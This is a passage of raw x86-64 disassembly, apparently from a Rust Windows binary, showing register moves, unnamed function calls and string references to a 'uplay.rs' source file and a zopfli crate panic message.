movups xmm1, xmmword [rsp + 0x278]
lea r8, [rsp + 0x730]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcmiscuplay.rs
jmp 0x140011f5c
mov ecx, 1
mov edx, 9
call fcn.140231690
movups xmm0, xmmword [rsp + 0x268]
movups xmm1, xmmword [rsp + 0x278]
lea r8, [rsp + 0x730]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, [0x1402410b8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueC:Usersdiddy.cargo_registry_srcindex.crates.io_6f17d22bba15001fzopfli_0.8.1_srccache.rs
lea r9, [0x1402403c0]
mov edx, 0x2b
call fcn.1402320b0
mov ecx, 1
mov edx, 0xb
call fcn.140231690
mov ecx, 1
mov edx, 5
call fcn.140231690
mov rax, qword [rsp + 0x268]
lea r8, [rsp + 0x730]
mov qword [r8], rax
lea rax, str.srcmiscuplay.rs
jmp 0x140011ed7